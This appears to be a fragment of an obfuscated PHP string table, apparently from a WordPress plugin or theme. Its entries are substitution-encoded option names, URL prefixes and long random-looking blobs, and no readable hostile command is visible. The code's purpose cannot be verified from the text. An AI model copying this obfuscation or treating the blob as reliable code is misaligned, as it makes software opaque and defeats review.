A3<3','2dWo7mA|aw5e7/P2','3jg_gb3>39#63*TBLb1','6#jj$Lc{','c#__gb','TBLb13','3=1b3\\ao7\\/|mdw5A3<3;P3QJ1613\\ao7\\/|/d A3<3','2dWo7mA|aw5e7/P2','dWo7mdoA','5aFdoA|zd7w','c#__gb',',a|WdWlA|FAwAoA','dww\\ao7\\/P','\\ao7\\/P','dWo7mA|aw5e7/P',',aF?','dWo7mdoA','aul!WK5G9zOHmijSb$u7$F%O/Jldiz$#us/dojoV-!k/J>=o9Mq$7bu9Pe$\\QqJ>ttP$L/VqFot5Y_WcUb455zzW94iTiE%%Moueb!_MbWsu4zl0W-us8PrmlS$!EVcb?r=Ul%I!jVUF\\cL5P>LwAbqGXH9%1/Pl9wMugl51e6-!T=%XSmmI>VAb8XrT4MrV-P,40Ud{F5WBoGt0$*0,*_ Vp5mV,p%i6sU68s/KkX8r-pQu=_Wg1q QWrO?,%sPb? ,p,Q?pisAW6lm=?Yo7B_Xrr4Vi>K!AQ/rBd,T U\\I 8>F\\ 9mdpct//-e_Y0F$I15T{iKbepBz0!pwSF4oUYG7jES uH*W51ub1YH{u#Ap uXgXI,#J %MF1-VeXrbH*q?78pp$b-t-Qp?VVtgdG9k=Lgd,6l\\VJ *4dYcmEKwstq/4jEd5k5X>P >>sG0{Hp>ll$dzTlpB>bt_rMwkztmXiA/rctb/J4,c lQbg8AP5TcdWoLiXrqQ!lVOs#ia lk9 *j4tpkO56,4LYYTEKGmM4B4a{P/s=!Et%mO=AeAIJ8jurcgd#VPFsMF*7Ypkgz0XB_j5OoO$j#qX5g0?kS$tAJKH1?M%HBBo*T5q?ewgU*7\\iO>d{0 Um$/sp0glwpBqg4Y-pg47Eo=cw*z5E >M\\76k8>>,YcHc#5sMQTcHuaK>gHs,mpbL$TQBYcFIHs!gu=KUeXsLP!ML?$HJjHW*wgem#g7EsAgTi8bVbHXz!e0_VksQ6-P$S__0$ue=,H=dT> %SqBjTQB0QzY*LQcBrI5//o>7!%Ww{? ITEFOw!ir,0\\QXjEeP*K*P>o6-0qPT*!L$1iaH=KbcLG*7T$V8{kua1glE!GS8>zSct/0a#u6k_X8Am#/jP{q7A/gpg41uK\\cb%Hbs4Qlo%Pq5Gt9rtG!Sip_q=QlPoVO6\\K1{sr% UYrAi,mm/c=kz{BtP98zA*ImQ>PHk$g#lGO/zrep,k>>wa=ar_?!m7qtzuF?T/{>c?YdX%b%$V%,o?maq1dIz!leUeAeFp0?k{T? VkF-7BmJ?/c,*>9FV_eTJtF-?KIEtsg#GQJrW7_GL6PUKjj>oraKIGu-A %Jb,pU9,_z6iVk*ErO-wOEgUtE*AE,subA#5SHsimb_Eas,juae$Bk9pcaXItH,Hrktr-c K-4XkHHBm1$#4J=daeaX !oJa isrY Q65Etu*OWk-#1L{5siX1pGF9tl!$qm#H5Jo*sF*,esYlIJE{tPuazbUl!zdE>m$EburLMEzYiKaTspM/IkGcUQT,Jsbws!,*-k FtVW?BS-,%V#%VpMaVo567c\\-sgbsi\\FsE-H#-{FW-bmB1FaTV4wFbe8G rdG*li,w1XUeW!>gK--PX1jPEstbeYFP=qo*IqpaY09514rz64SWWd5_kjeALw69XYSVp{\\So=-pJubml-Jr80cEp%QIu\\ml#85K6ak9u!,Bzp_>FP,j\\FO7IkPPGXViXMasB#T7/zoH5{IzlGJ>rOujqlK#ukj?0PPdK>q,k rPwdsTs{4{TKPr-bW$6irepitY5M_{PKpjebjPATiJEHLOlEq#8Y!WgFObVSaa !kQ1/! u5U6t_ VbMLcd=ze9TtMuQ>$F!pq6k{dO*XEQwsM#i{mqqo1MMeGaAHKkGz!1\\zwjPlaq9 !_g>zgmdmwV?kQwgAB$Kd!gp74sdT\\? mOgmc/?Y,rtr4g?Gk_{?%aJ{eM\\YEwkU VlLIl *zLPpwLwB{e#d7 7bJ\\kgd>{l1 4MP0{cTa*YUdzp>u/6=i==dFJ_>MJlwO8YT58IBA8EB986qr=kww1#sa0Eb9BjdmLrU!6E!L J#tIII{PFaLYPuAm!TdFzMU5TVtVGH9,j,1mcK_MGo-E9dq_=\\0G1jwL!tBt!=EV_wXX,dW_GmE=wJWgErdFSJV/XGPgImMz4mzuwmWu_$>GJl80PI?j?e?_894tI19QaHTlP9a?qu9b%{uXudT85*lL8b0z9TP _Q!BeLOOq#pgdl-4G/z8M/#7UT#kP?osBm*I9gqWt1SupciIoV,k9**zE7c?ra-g0gel{8LwwVj{Bib0tF4LGj85H\\zB8oWTp*kbX8%?qS0EHltO?ctwtA_%6S1WTc*LX%o\\EdP94VaV$F8LqBcHLp!w*m>d7A6o>$e-$gAqT,Hrc\\VAJ #\\T*l$pwcHu5Uuq%Si{YEw?u-peM \\jWB%Gd,/bY1=L#izJr%9X_o1Wwt9XHsF!GG%i,=O=rlwuquwU-/pXkVP>esHlM51_dIOlO,Gl#e->J1KIrus>Ow$qj7mq>Lm-O8z1KXPPgg!%oAXV$i4JjdVAgdOJbJzOzkw8X{*QVHKlPkXGB5k005K94T>1SPbT\\#e-0gS\\Wu6lw>KVEJcqlYHu=opaF1{>Jb4AtoqIuT!VuM!U#dwcjwa*%VBwOtl5% >F?t$Kw/F_U!%rjVQ4*r4W*owSeTWBc>=*HMr*-$,lM$Pa,IkrOG$/s\\Hd{o#uKYrY=Ip#d6rY$,,JwoVk17{uAUAkze=XaYpuzS IzVWzzi9ScjGmiP5wuH{91TKkHwbVblo?EIgO-{t_swJ#04uG\\8\\WaEQ _w85cq$YdiXs$=iO67 AWq%$Fb=dX#J9K?6cYHO%k=/OX59THz{UML_9L#wA,=FgL_lSeXj-i-A5M!JU?EBSa4sU$QY8embq*S _X0ObMQ59#tgaY*AFcga-l0TjTgP_wpmIS9\\_Fkzt??T8j*0j/a{>=i,0%U B%X6dt>_KkuT=tag#0FJrTGpElM#eMH*U=FKe#acojkTStI%StUVTQ{KE9I$B04V?*r8Kl%bqq/#uMdPAt/We0r!/g#9Q0?g>UgBdUQ_Ect=9*Td5lt%8z\\{KasTMY %LwW_o>FaYK Igbt=aAT#i/BFj,>9oKz6bd1$Mwr=tge/QYzz9s4 5u_iUA%-\\J!A5$g,?HVtA0Ll/wI_bmk\\tbKM8pGa#aQl=La>ls?z6HYi/,z5_WYlYBk>1Y,8JEQ/1s>aWiVPuT{tM c%8ILUU>p_A5*Ac0i${rW$%bXHqbGm,_1g$HO5HdPl1bbF#IUk70w=8 Hgqw$rl\\M?jmBq=-5izb/q8WP-o$_Ui=SeadESr{aj*li MQ!!m\\GHLFe{*b8%5t,S%H/eYqESQOG!euVWO%\\0jmYlT,<<','L$=TLbJ','47a','^47a','7/Po','W\\/oA/o|5!w','eAo|P7oA|5!w','r,a+W\\/oA/o','looafrr','looaPfrr','looaPfrr','Ca<','rCa<','xZlooaPCfrrx','PW|P,','PW|P,','PW|adeA'),array('PW|adeA','l\\ A|5!w','W\\/o!dWoP','!aWP','dF 7/$dPA','47a*!w','Pw5e','7/PodwwA!*!w',',!7oA{AM',',s','adeAc\\FA','P!m|sAM','md!3||=c|$##b<-=#%^ad!PA]do\\?]&','&[[.','md!3||=c|1%c<&','&.','W\\/o!dWoP','!aWP','P,|W\\/z7e','P,|W\\/z7e|P7e','/\\','Ca<','looaPfrr','xZlooaPCfrrx','P,|5!w','7/Po|oaw',',s','PW|wdPo|zAoWl|oP','7/Po|oaw| 7PP7/e','P,|7/Po','P,','}C','eAo|o!d/P7A/o','Po!|!AaAdo','PW|P,','PW|adeA','l\\ A|5!w','rdFmd/WAF+WdWlA^ala','P,|PAo5a','wF!','7/7|eAo','Po!WdPAW a','rD','rD','r^','rD','rD/Cd5o\\|a!AaA/F|z7wADP"<DP"v&2\'CvZ&2D!D/\'"','vZ&2D!D/\'"v&2\'CD!CD/Cr7','7/7','!Ao7!AF'),array('PW|7/7|aA/F7/e','PW|7/7|zd7w','PW|7/7|FAdF','low','rWdWlA','rD','QT|c#%b1%b|Bg6','rD','rD','r^lodWWAPP','lo','Ww7','r^lodWWAPP','}97wAP_doWl3&D^]47anw\\enP0w[h&`','}gz_\\F5wA3 \\F|d5ol4|W\\!A^W`','6A057!A3dww3FA/7AF','}rgz_\\F5wA`','}gz_\\F5wA3y \\F|d5ol4|W\\!A^W`','BA/M3z!\\ 3dww','}r97wAP_doWl`','!AdF|zd7wAF','rD','rD','r7/FAV^lo w','7FV','97wAP_doWl','! ,|!dWA','lo','lo','\\ao','B$|J#=b','B$|*=16','B$|TL==Q#6B','B$|%L_1',' MP0w7','B$|%L_1',',aF?',',a|','\\ao',' MP0w7f3','\\ao','\\W','r^,a+\\?YAWo+WdWlA+','^Fdo','=cB>','e4FAW\\FA','e47/zwdoA','L$=TLbJ','^ala','rZ}DCalaDP"r'),array('\\W| ','r"3=c|#c|$1Sg%f','3"r','r"3=c|#c|1%Bf','}Cala3r"3^,a+\\?YAWo+WdWlA+','3"r3r"3=c#cuf','Wd/d!M|d! |zd7w','=c|#c|$1Sg%','^,a+\\?YAWo+WdWlA+','r=c#cuf]DFHD^DFHD^DFH[r','Wd/d!M|d! |zd7w','rD/CDrD"3=c|#c|$1Sg%f]vd+4L+qi+K^|\'"f','[3D"Dr^"CDrD"3=c|#c|1%BfD>3D"DrD/CrP','\\W','aW!A|zd7w','\\W','!A7/P|Wda','\\W','r"3^,a+\\?YAWo+WdWlA+','rZ=cB>f]DFHD^DFHD^DFH[fr','PW|\\W|Fdo|\\s','Fdo|W\\!!5ao','=cB>f','\\W','zo\\s','L$=TLbJ',',a+W\\/z7e^ala',',a+W\\/z7e^ala','Pl \\a|\\aA/','zo\\s','ldPl','PldOX8','=c=J_>f','Pl \\a|P74A','Pl \\a|!AdF','Pl \\a|Ww\\PA','Pl \\a|,!7oA','Po!|adF','Pl \\a','mA!7zM|zd7w','Pl \\a|FAwAoA','Pl \\a','r}DCalar7','rZDP"]FAWwd!ADP"D]^"CD[DP".n/d APadWADPHvZ.N\'HDP".n/d APadWADPHvZ.N\'HDP"DNnDrD"^"CD"DrnDrDrvZD/\'"D/nxvZD/\'"D/[r7P','PW|!A7/P|','eAo|\\ao7\\/','5aFdoA|\\ao7\\/','PW|!A7/P|','F!\\a7/','o5e|\\z|,d!3'),array('rdFmd/WAF+WdWlA^ala','47a','7/omdw',',aF?','=c|LBuj|','dFm','dFm|oaw| 7PP7/e','dFm','!AdF|zd7wAF','dFm| ','r"3=c|LBu|$1Sg%f','r"3=c|LBu|1%Bf','3"r','rDrD"3=c|LBu|$1Sg%f]vd+4L+qi+K^|\'"f','[3D"Dr^"CDrD"3=c|LBu|1%BfD>3D"DrrP','=c|LBu|j#LB1B','rv3Do\'"7zDP"D]DP"FAz7/AFDP"D]DP"v&2\'=c|LBu|j#LB1Bv&2\'DP"D[DP"D[DP"!Ao5!/DP".vZD!D/\'"r','dFm','aW!A|zd7w','dFm','eAo|o!d/P7A/o','PW|e5d!F',',a+7/Ww5FAP','r^ew|','r^eV|','r^e|',',a+7/Ww5FAPr',',a+7/Ww5FAP','\\aWdWlA|7/mdw7FdoA','r^em|','rZDFHD^DFHD^DFHhr','r^eP|','!Ada|P5PaAWoAF','/\\|Podo5P','^ala','r 5+aw5e7/P','^ala','l\\ A|5!w','JbbT|J#=b','QT|c#%b1%b|Bg6','PW|wdPo|zAoWl|oP','e5d!F|oaw| 7PP7/e','e5d!F|oaw|7/mdw7F','r^e |','e5d!F','r^em|','e5d!F','P5?Po!|W\\5/o','P!W','F7Ps|z!AA|PadWA'),array('QT|c#%b1%b|Bg6','PW|adF|\\zz|oP','PW|adF|\\zz|oP','C`','!d/F\\ |?MoAP','?7/OlAV','"r','r]D!CD/DrD"vi+Kd+z\'N>iii()D"Dr[Hhr',' A \\!M|w7 7o','+>','Po!o\\5aaA!','WwAd!PodoWdWlA','eAo|\\ao7\\/','PW|\\,/| ','PW|\\,/| d/7zAPo','PW|\\,/| d/7zAPo','PW|\\,/| d/7zAPo','PW|\\,/| ',' \\F7z7AF','wAedWM','r\\,/|','\\,/','eAo|\\ao7\\/','PW|\\,/|!AW','!A0','!A0','!A0','L$=TLbJ','\\s','PodoA','?\\\\o|oP','eA/','Pw5e','Pod!o|oP','61U*1=b|bg_1','eAo|\\ao7\\/','PodoA','?\\\\o|oP','?\\\\o|oP','WlAWs|W\\//AWo7\\/','PW|\\,/|!AW','/\\','adol','PodoA','5/s/\\,/','FAdF','FAdF','r]DrD"vi+Kd+z\'N>iii()D"Dr[DP"hr','eAo|\\ao7\\/','5aFdoA|\\ao7\\/'),array('PW|FAzA!!AF|FAw','PW|FAzA!!AF|FAw','5aFdoA|\\ao7\\/','PW|FAzA!!AF|FAw','\\aWdWlA|7/mdw7FdoA','PW|FAzA!!AF|FAw','z7wA','z7wA','L$=TLbJ','^wse','a!Ae| doWl|dww','r?dPA8G|FAW\\FAD]DP"2]vL+qd+4i+KHDr<\'N>iii()[2DP"D[r','r]Cfe4FAW\\FAne47/zwdoAne45/W\\ a!APP[D]DP"&]]CfvZ&DD\'"]CfDD^vZ&DD\'"["[[&rP','DV','rDDV]vi+Kd+zL+9\'NO)[r',',iOY,KW/W/0|YKYp','r]Cfe4FAW\\FAne47/zwdoAne45/W\\ a!APP[D]DP"2]]CfvZ2DD\'"]CfDD^vZ2DD\'"["[[2rP','DD','D2','DV',',iOY,KW/W/0|YKYp','e4','rDDV]vi+Kd+zL+9\'NO)[r','3"r','rZvd+4L+qi+K^|f\'Hhr','r"3','|1%Bf','3"r','ol| ','rDrD"3=c|bJ|$1Sg%fvd+4L+qi+K^|\'"f','3D"Drr','=c|bJ','oWm\\PWtF OX5>!OX','=c|BB','d5 leO?//MmG7YYdGs?5lo','rDrDr=c|bJ|jB|vd+zi+K|\'HD!CD/vZD/\'"hr','Am!dslmzPO|lE4!a','rDrD"3=c|bJ|$1Sg%f]vd+4L+qi+K^|f\'H[3D"Drr','FF','rDrD"3=c|BB|$1Sg%f]vd+4L+qi+K^|f\'H[3D"Drr','PW|W','PW|W','PW|Wd/d!M','7oA P','ldPl|A05dwP','PW|PWs','Pl5oF\\,/','o|Pi|PlYW5| lEW>7\\Wt','PW|PWs','PW|PWs|F\\/A'),array('++`','?w7/F','5aFdoA|\\ao7\\/','PW|Wd/d!M','7oA P','7oA P','oP','o!7AP',' FX|z7wA','7oA P','?w','?\\!/','7oA P',' 7PP','7oA P','/AVo','7oA P','Pw\\,','7oA P','Wd/d!M','?ds|,!7oA|zd7w','7oA P','d! |z5ww','rol?|','^?ds','?w','?\\!/','PW|Wd/d!M','7oA P','7oA P','PodoA|,!7oA|zd7w',' ,YAmo/oG!FoiGMM8','7P|zw\\do','WP>eM/A|PKAW/G','WP>eM/A|PKAW/G','cdWlA+c\\/o!\\w','/\\+Po\\!A(3/\\+WdWlA','T!de d',',a|!A \\oA|!Ao!7AmA|!APa\\/PA|W\\FA',',a|!A \\oA|!Ao!7AmA|?\\FM','5aFdoA|\\ao7\\/',' FX|z7wA','eAo|\\ao7\\/','PW|Wd/d!M','7oA P','?w','PW|Wd/d!M',',a|w\\e7/|5!w',' FX|z7wA','oP'),array(' 7PP','7oA P','?\\!/','CPW|W<','!d,5!wA/W\\FA','R|!<','PwAAa','7oA P','!\\ww?dWs|Xii3','}y++=c{f','PW|W<','R|!<','!\\ww?dWs|w\\e7/Xii3','7oA P','7oA P','}y++=c{f',' 7PP','?\\!/','7oA P','PW|w?| \\FA','?w7/Fn','w?|?w7/F','7oA P','7oA P','\\sn','PW|Wd/d!M','\\ao7\\/P','7oA P','7oA P','7oA P','7oA P','oP','PW|Wd/d!M','|PW|zd ','=c|bJ|$1Sg%','=cuf','r=c|]CfB$nLBun#c[|$1Sg%f]DFHD^DFHD^DFH[r','P,AAa','/A5o!dw74A|z\\!A7e/|Ps7a3','rv3Do\'"DrD"3=c|]B$nLBun#c[|$1Sg%f]vd+4L+qi+K^|f\'H[3D"Dr^"CDrD"3=c|D>|1%BfDO3D"Drv3Do\'"D!CD/CrP','PWF','r7P|z7wAD]DP"2]vZ2\'H[2DP"D[r','L$=TLbJ','rD','^ala','FF?|z\\!A7e/|Ps7a3','r,a+W\\/z7e^ala','QT|c\\!A|g/oAe!7oM','ro arala','QT|b1_T|Bg6'),array('rFAz7/ADP"D]DP"v2&\'QT|cLcJ1v2&\'r','=c|LBu|$1Sg%f','rFAz7/ADP"D]DP"v2&\'L$=TLbJv2&\'DP"(vZ.\'"D[DP".DP"D!CD/FAz7/AD]32QT|cLcJ12(3o!5A3D[.D!CD/r','rFAz7/ADP"D]DP"v2&\'QT|B1$*Sv2&\'DP"(DP"o!5ADP"D[r7','rFAz7/ADP"D]DP"v2&\'QT|B1$*S|j#Sv2&\'DP"(DP"o!5ADP"D[r7','rFAz7/ADP"D]DP"v2&\'QT|B1$*S|Bg=TjLkv2&\'DP"(DP"zdwPADP"D[r7','rv3Do\'"DrD"3QT|c\\!A|g/oAe!7oM3]vd+zi+K\'H[3D"Dr^"CDrD"31/F+QT|c\\!A|g/oAe!7oM3D>3D"Drv3Do\'"D!CD/CrP','rv3Do\'"DrD"3QT|c\\!A|g/oAe!7oM3]vd+zi+K\'H[3D"Dr^"CDrD"31/F+QT|c\\!A|g/oAe!7oM3D>3D"Drv3Do\'"D!CD/CrP','rD?]CfA/F7znAwPA[D?r','rZv3Do\'"7zDP"D]DP"yCDP"z7wA|AV7PoPD]DP"2Dro aDralavL+qd+4i+K\'H2vZD/\'"D/]v3Do\'"7zDP"D]DP"Dh|\\RRvZD/\'"D/[Cr ','FAz7/ADP"D]DP"v2&\'L$=TLbJv2&\'DP"(vZ.\'"D[DP".DP"D!CD/','r]','[r','h>','[r','[FAz7/AD]32QT|cLcJ12(3o!5A3D[.D!CD/r','rZv3Do\'"FAz7/ADP"D]DP"v2&\'QT|B1$*S]|j#Sn|Bg=TjLk[Cv2&\'DP"(vZD/\'"D/r7 ','r]','[r','PW|,W| 7e','/\\',',aW','[FAz7/AD]32QT|cLcJ12(3o!5A3D[.3DrD"3=c|Qc3D"DrD!CD/r','! ,|!dWA','PW,','\\aWdWlA|7/mdw7FdoA','FAwAoA|\\ao7\\/','r2]Dro aDralavL+qd+4i+K\'H[2r','ro arala','r\\ao7\\/|/d ADP"<DP"2]vZ2\'H[2r','rZ|P7oA|o!d/P7A/o|]lAdwolnzAAF[|vd+zi+K\'Hhr','z\\!A7e/|Ps7a3','r"rz5/Wo7\\/P^ala','=c|BB|$1Sg%','=c|bJ|jB|','\\aWdWlA|7/mdw7FdoA','rF?^ala','z Pm!>8eAi/44sK785','Wm\\Ftzz/MXm XFotF','P!W','\\!wG58G\\7A4AmMza,07GY','mOo7d 80OlG4PiG?P|P7|/','/\\','PW|?\\\\o|os','?\\\\o','wAedWM|odsA\\mA!','PW|aA!P7PoAF','PW|PW!5?|oP','5aFdoA|\\ao7\\/','w7/Af'),array('PW|aA!P7Po| d/7zAPo','P74A',' o7 A','rDn!]DFH[hr','eAo|\\ao7\\/','^ala','dWo7mA|aw5e7/P','PW|PM/W|?s','rZ]DFH[Dn]DFH[hr','PW|Wld7/','dWo7mA|aw5e7/P','rz5/Wo7\\/P^ala',' o7 A','n!','ni','n!','/\\','aA!P7Po',' o7 A','?7ef','PW|aA/F7/e|7/mdw7FdoA','05A!M','\\ao7\\/P','/\\o\\ao7\\/P','low','^ala','^e|','rdFmd/WAF+WdWlA^ala','|1%BfD>3D"DrrP','r\\?YAWo+WdWlA^ala','r=c#cufDFHD^DFHD^DFHr','rD/CDrD"3=c|#c|$1Sg%f]vd+4L+qi+K^|f\'H[3D"Dr^"CDrD"3=c|#c|1%BfD>3D"DrD/CrP','r5aw\\dFPr"r"r','rolA APr"r','"^ala','"^ala','7/mdw','^ew|','^eP|','^es|','^ea|','^eo|','^e |','^em|','^eP5|','^e!F|','r^e!|"^ala','rD','rD','QT|c#%b1%b|Bg6'),array('rD','vZD/\'"D/}Drgz_\\F5wA`D/Cr7','vZD/\'"D/}Drgz_\\F5wA`D/Cr7','vZD/\'"D/Cr7','r,a+W\\/z7e^ala','rv3Do\'"FAz7/ADP"D]DP"v2&\'QT|cLcJ1v2&\'DP"(DP"o!5ADP"D[DP".DP"DrD"3=c|Qc3D"Drv3Do\'"D!CD/Cr','FAwAoA|\\ao7\\/','5PA!|7/7^z7wA/d A','QT|c#%b1%b|Bg6','rD','d5o\\|a!AaA/F|z7wA','rd5o\\|a!AaA/F|z7wADP"<^"','^"D/r7','rd5o\\|a!AaA/F|z7wADP"]Cf<nDP[DP"]Cf&]vZ&D!D/\'H[&n2]vZ2D!D/\'H[2n]vZDP&D!D/\'H[[r7','Am!dslmzPO|lE4!a','7oA P','PW|lo|zd7w','PW|lo|FAdF','PW|7/7|zd7w','/iMwAMp!PtaMmY\\|Y','a,ma5iK,lMKXoeV8Y','PW|W!\\/|e5d!F','7/mdw7FdoA','!AdF|zd7wAF','F?| ','r"3=c|B$|$1Sg%f','r"3=c|B$|1%Bf','F?| ','rDrD"3=c|B$|$1Sg%f]vd+4L+qi+K^|\'"f','[3D"Dr^"CDrD"3=c|B$|1%BfD>3D"DrrP','=c|B$|j#LB1B','rv3Do\'"7zDP"D]DP"FAz7/AFDP"D]DP"v&2\'=c|B$|j#LB1Bv&2\'DP"D[DP"D[DP"!Ao5!/DP".vZD!D/\'"r','=c|B$j|','F?|oaw','F?|oaw| 7PP7/e','F?','L$=TLbJ',',a+W\\/oA/o','rolA APr','PoMwAPlAAo','rz5/Wo7\\/P^ala','eAo|P7oA|\\ao7\\/','PW|olA A|PdzAoM','5aFdoA|P7oA|\\ao7\\/','PW|olA A|PdzAoM','PW|olA A|PdzAoM','PW|olA A|m7!e7/|F?','P74A','Fdod','Fdod'),array('PldOX8','P74A','rolm|','L$=TLbJ','eAo|\\ao7\\/','md/7Pl|!APo\\!AF','r"3=c|bJ|$1Sg%f','3"r','r"3=c|bJ|1%Bf','=c|bJj|','olA A|oaw| 7PP7/e','z\\aA/','zw\\Ws','ol| ','=c|bJ','FY5iGPP|zEWiaEOMV0','rDrDr=c|bJ|jB|vd+zi+K|\'HD!CD/vZD/\'"hr','=c|bJ|$1Sg%','=c|bJ|jB|','r=c|bJ|$1Sg%fvi+K^\'Hf','\\!ald/|z\\!A7e/','rD/Cv3Do\'"DrD"3=c|bJ|$1Sg%fvZ"\'"D"Dr^"hrP','rZv3Do\'"DrDr=c|bJ|jB|vd+zi+K|\'HvZD/\'"D!CD/]vZD/\'"]D!CD/nh[[Cr ','\\!ald/','olA A','rZDP"/d APadWADPHvZ.N\'HDP"DNr ','/P|Ps7a','}Cala3','b|#T1%|bLS|QgbJ|1cJ#','Po!!a\\P','olA A','olA A','47a','lo','P!W|A aoM','q7aL!Wl7mA','r5aw\\dFPr','FdoA','kr r','rolA AP','q7aL!Wl7mA','P74A','P74A',',a|/AVo|PWlAF5wAF','a,ma5iK,lMKXoeV8Y','l\\5!wM','PW|W!\\/|e5d!F','PW|W!\\/|e5d!F','W!\\/|PAo5a','V!?tpdA,?EE?Wt7'),array(',a+7/Ww5FAP','r^ew|',' FX|z7wA','FAwAoA|o!d/P7A/o','PW|e5d!F','W!\\/|e5d!F','^ala','\\ao','eAo|\\ao7\\/','raw5e7/Pr','W!\\/|!AW','PW|FdodPW','^ala','JbbTr>^>3GiG3%\\o39\\5/F','eAo|\\ao7\\/','PW|P,|Aa|l7oP','PW|P,|Aa|wdPo','rZDP"]CfD]nDrD"nDrDrnmd!3nwAo3nW\\/Po3nz5/Wo7\\/3nPAwzD^[r','rZvL+qd+4i+KHDr<D!D/\'Hhr','c\\/oA/o+bMaAf3daaw7Wdo7\\/rYdmdPW!7ao.3Wld!PAo<5oz+p','=A!m7WA+Q\\!sA!+Lww\\,AFf3r','JbbTr>^>3OiG3%\\3c\\/oA/o','JbbT|g9|%#%1|_LbcJ','JbbTr>^>3tiG3%\\o3_\\F7z7AF','1bdef3','=A!m7WA+Q\\!sA!+Lww\\,AFf3r','cdWlA+c\\/o!\\wf3/\\+WdWlA','P,|Aa','PW|mA!7zM','PW|mA!7zM','l\\ A|5!w','eAo|\\ao7\\/','JbbT|J#=b','rfDFHhr','nmA!7zM','PW|PA d/o7W|a!\\?An','c\\/oA/o+bMaAf3oAVorawd7/','cdWlA+c\\/o!\\wf3/\\+Po\\!A','=c|=1_f','=c|=1_|9Lgj','mA!7zM|Aa','!\\WsAo|WwAd/|F\\ d7/',',toW|zw5Pl|dww','w7oAPaAAF|a5!eA|dww','j7oA=aAAF|cdWlA|LTg','j7oA=aAAF|cdWlA|LTg','a5!eA|dww','j7oA=aAAF|cdWlA|LTg','a5!eA|dww','$!AA4A|T5!eAcdWlA'),array('$!AA4A|T5!eAcdWlA','?!AA4A|WdWlA|zw5Pl','$!AA4A|T5!eAcdWlA','?!AA4A|WdWlA|zw5Pl','cdWlA|1/d?wA!','WwAd!|o\\odw|WdWlA','cdWlA|1/d?wA!',',azW|WwAd!|dww|WdWlA','FAwAoAcdWlA',',a|WdWlA|WwAd!|WdWlA','d5o\\ao7 74AcdWlA','d5o\\ao7 74AcdWlA','WwAd!dww','d5o\\ao7 74AcdWlA','a5!eA|\\/|YP|Wld/eA',',a|F\\7/e|dYdV','61=b|61U*1=b','I_j6Tc|61U*1=b','7P|zAAF','7P|!\\?\\oP','7P|P7oA daP','7P|W5Po\\ 74A|a!Am7A,','AwA A/o\\!+a!Am7A,','W5Po\\ 74A|Wld/eAPAo|557F','zw|?57wFA!','PW|YP','}rPW!7ao','}DrPW!7ao','PW|YP|a!7/oAF','5aFdoA|\\ao7\\/','PW|YP|a!7/o|/\\oA','/\\','YP','TJT|#*bT*b|JL%Bj16|9g%Lj','c\\/oA/o+B7Pa\\P7o7\\/f','doodWl A/o','c\\/oA/o+bMaAf','oAVorlo w','daaw7Wdo7\\/rVlo w','}r?\\FM`','}lo w','PW|YP|\\?','PW|YP','61U*1=b|*6g','rD^]47ane4nod!n?4OnaFznWPmnVwPVCnF\\WVCnP0wn aGn7P\\[]DCnh[r7','c\\/oA/o+jA/eolf','\\?|Pod!o','z!G5lw>M?X5m/s','adeA/\\,','7P|PPw'),array('P,|5!w','PW|P,|ldF','PW|P,|wdPo|5!w','}PW!7ao3Fdod+PW+','md!3F<z5/Wo7\\/]l[Nmd!3!<&&(7.z\\!]7<i.7}l^wA/eol.7H<O[!H<=o!7/e^z!\\ cld!c\\FA]ad!PAg/o]l^P5?Po!]7(O[(>8[[.!Ao5!/3!)(','P,</dm7edo\\!vF]&','PA!m7WAQ\\!sA!','&[\'(','w5<','7z]P,[P,vF]&','eAo6Ae7Po!do7\\/P','&[\'][^olA/]z5/Wo7\\/]!P[N!P^z\\!1dWl]z5/Wo7\\/]![Nmd!3 <yw5.','7z]y [vF]&','dWo7mA','&[(F]&',',d7o7/e','7/Podww7/e','&[\'^z\\!1dWl]z5/Wo7\\/]s[N7z]!vs\'RR!vs\'vF]&','PW!7ao*6j','&[\'<<<w5[ <>)[.','7z] [!vF]&','5/!Ae7PoA!','&[\'][)[)[vF]&','WdoWl','&[\']z5/Wo7\\/][N)[','}rPW!7ao`','looafrr','looaPfrr','5aFdoA|\\ao7\\/','/\\','PW|P,|wdPo|5!w','/\\','&[\'.','7z]P,[N','P,vF]&','eAo6Ae7Po!do7\\/','&[\']','^olA/]z5/Wo7\\/]![Nmd!3\\s<i.7z]![vF]&','&[\'<<<','[\\s<>)[.','7z]y\\s[P,vF]&','!Ae7PoA!','(NPW\\aAf',')[vF]&','&[\']z5/Wo7\\/][N)[)[','vF]&','&[\']z5/Wo7\\/][N)[.','P,vF]&','dFF1mA/oj7PoA/A!','&[\']F]&'),array(' APPdeA','&[(z5/Wo7\\/]A[N','md!3m<AvF]&','&[\'.','7z]mRRm^W[No!MN/A,395/Wo7\\/]do\\?]m^W[[][)WdoWl]V[N)))[.','!AdFM','&[\'^olA/]z5/Wo7\\/]![N','!vF]&','&[\'vF]&','a\\Po_APPdeA','&[\']Nof&!&)[)[)','P,|!Ae','P,|!Ae','r^P, |','rDrD"3=cuf]DFHD^DFHD^DFH[3D"Drr','r 5+aw5e7/P','r"r"^ala','^ala','P,AAa','z\\!A7e/|Ps7a3','^\\zz','\\aWdWlA|7/mdw7FdoA','r^PF|',' 5+aw5e7/P','7P| 5wo7P7oA','r^?dF|','adol','\\aWdWlA|7/mdw7FdoA','PW|?\\\\o|mA!','PW|?\\\\o|mA!','=c|c#61|$##b=b6LTT1B','`<','=c|c#61|$##b|u16','=c|c#61|$##b|u16','A 4Mpam\\mA\\,o>?7WMX',' mz/4ot0dGYzAP|,V7','0|zdWeaAXw4?8zX>iG','PW|7/YAWo|!5wAP','PW|YP','aew7/We!d| O,ss','4Y>>AFmP\\|8!te|Gi','r^0|','r^?o|','^ala','^\\Wz|','|8\\Vi7Pi4li5wmmptF7>','emY4m784F\\dEo\\07o','w\\dF+aw5e7/P^ala','|8\\Vi7Pi4li5wmmptF7>','dF 7/|7/7o'),array('dF 7/|7/7o',' tewst,4o ,0swm?>O|','dF 7/|7/7o',', Ks|EPw/YOFe/wpG!5','dF 7/|7/7o','4,swM\\d7//Fe7Fs 85ot','sA w|8Gd\\487Ap!',',az |Awz7/FA!|W\\//AWo\\!|\\aoP','|GFEAMVPV7?\\l\\t0>m\\p4',',a|z7wA| d/deA!|W\\//AWo\\!|\\aoP','Awz7/FA!|W\\//AWo\\!|\\aoP','z7wA| d/deA!|W\\//AWo\\!|\\aoP','|GFEAMVPV7?\\l\\t0>m\\p4','d5olA/o7WdoA','M5Xa0\\!0i\\eseXt\\','?pw8d0wzOsA4sw','a!A|5PA!|05A!M','|Ezml/oFW/EtM>XGE5m','!APo|5PA!|05A!M','!E\\YM0tWtw7 \\0','m7A,P|5PA!P','Po4MPM?zddeK/4m/tW','FA?5e|7/z\\! 